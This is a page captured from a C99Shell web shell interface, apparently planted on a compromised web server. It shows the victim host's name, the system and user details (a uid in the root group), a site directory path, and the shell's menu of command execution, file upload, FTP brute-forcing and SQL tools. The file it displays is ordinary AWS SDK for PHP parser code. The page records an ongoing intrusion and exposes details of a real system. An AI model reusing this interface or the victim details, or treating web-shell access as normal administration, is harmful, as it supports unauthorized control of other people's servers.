!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Api/Parser/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractRestParser.php (5.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Api\Parser;

use 
Aws\Api\DateTimeResult;
use 
Aws\Api\Shape;
use 
Aws\Api\StructureShape;
use 
Aws\Result;
use 
Aws\CommandInterface;
use 
Psr\Http\Message\ResponseInterface;

/**
 * @internal
 */
abstract class AbstractRestParser extends AbstractParser
{
    use 
PayloadParserTrait;

    
/**
     * Parses a payload from a response.
     *
     * @param ResponseInterface $response Response to parse.
     * @param StructureShape    $member   Member to parse
     * @param array             $result   Result value
     *
     * @return mixed
     */
    
abstract protected function payload(
        
ResponseInterface $response,
        
StructureShape $member,
        array &
$result
    
);

    public function 
__invoke(
        
CommandInterface $command,
        
ResponseInterface $response
    
) {
        
$output $this->api->getOperation($command->getName())->getOutput();
        
$result = [];

        if (
$payload $output['payload']) {
            
$this->extractPayload($payload$output$response$result);
        }

        foreach (
$output->getMembers() as $name => $member) {
            switch (
$member['location']) {
                case 
'header':
                    
$this->extractHeader($name$member$response$result);
                    break;
                case 
'headers':
                    
$this->extractHeaders($name$member$response$result);
                    break;
                case 
'statusCode':
                    
$this->extractStatus($name$response$result);
                    break;
            }
        }

        if (!
$payload
            
&& $response->getBody()->getSize() > 0
            
&& count($output->getMembers()) > 0
        
) {
            
// if no payload was found, then parse the contents of the body
            
$this->payload($response$output$result);
        }

        return new 
Result($result);
    }

    private function 
extractPayload(
        
$payload,
        
StructureShape $output,
        
ResponseInterface $response,
        array &
$result
    
) {
        
$member $output->getMember($payload);

        if (!empty(
$member['eventstream'])) {
            
$result[$payload] = new EventParsingIterator(
                
$response->getBody(),
                
$member,
                
$this
            
);
        } else if (
$member instanceof StructureShape) {
            
// Structure members parse top-level data into a specific key.
            
$result[$payload] = [];
            
$this->payload($response$member$result[$payload]);
        } else {
            
// Streaming data is just the stream from the response body.
            
$result[$payload] = $response->getBody();
        }
    }

    
/**
     * Extract a single header from the response into the result.
     */
    
private function extractHeader(
        
$name,
        
Shape $shape,
        
ResponseInterface $response,
        &
$result
    
) {
        
$value $response->getHeaderLine($shape['locationName'] ?: $name);

        switch (
$shape->getType()) {
            case 
'float':
            case 
'double':
                
$value = (float) $value;
                break;
            case 
'long':
                
$value = (int) $value;
                break;
            case 
'boolean':
                
$value filter_var($valueFILTER_VALIDATE_BOOLEAN);
                break;
            case 
'blob':
                
$value base64_decode($value);
                break;
            case 
'timestamp':
                try {
                    
$value DateTimeResult::fromTimestamp(
                        
$value,
                        !empty(
$shape['timestampFormat']) ? $shape['timestampFormat'] : null
                    
);
                    break;
                } catch (
\Exception $e) {
                    
// If the value cannot be parsed, then do not add it to the
                    // output structure.
                    
return;
                }
            case 
'string':
                try {
                    if (
$shape['jsonvalue']) {
                        
$value $this->parseJson(base64_decode($value), $response);
                    }

                    
// If value is not set, do not add to output structure.
                    
if (!isset($value)) {
                        return;
                    }
                    break;
                } catch (
\Exception $e) {
                    
//If the value cannot be parsed, then do not add it to the
                    //output structure.
                    
return;
                }
        }

        
$result[$name] = $value;
    }

    
/**
     * Extract a map of headers with an optional prefix from the response.
     */
    
private function extractHeaders(
        
$name,
        
Shape $shape,
        
ResponseInterface $response,
        &
$result
    
) {
        
// Check if the headers are prefixed by a location name
        
$result[$name] = [];
        
$prefix $shape['locationName'];
        
$prefixLen $prefix !== null strlen($prefix) : 0;

        foreach (
$response->getHeaders() as $k => $values) {
            if (!
$prefixLen) {
                
$result[$name][$k] = implode(', '$values);
            } elseif (
stripos($k$prefix) === 0) {
                
$result[$name][substr($k$prefixLen)] = implode(', '$values);
            }
        }
    }

    
/**
     * Places the status code of the response into the result array.
     */
    
private function extractStatus(
        
$name,
        
ResponseInterface $response,
        array &
$result
    
) {
        
$result[$name] = (int) $response->getStatusCode();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--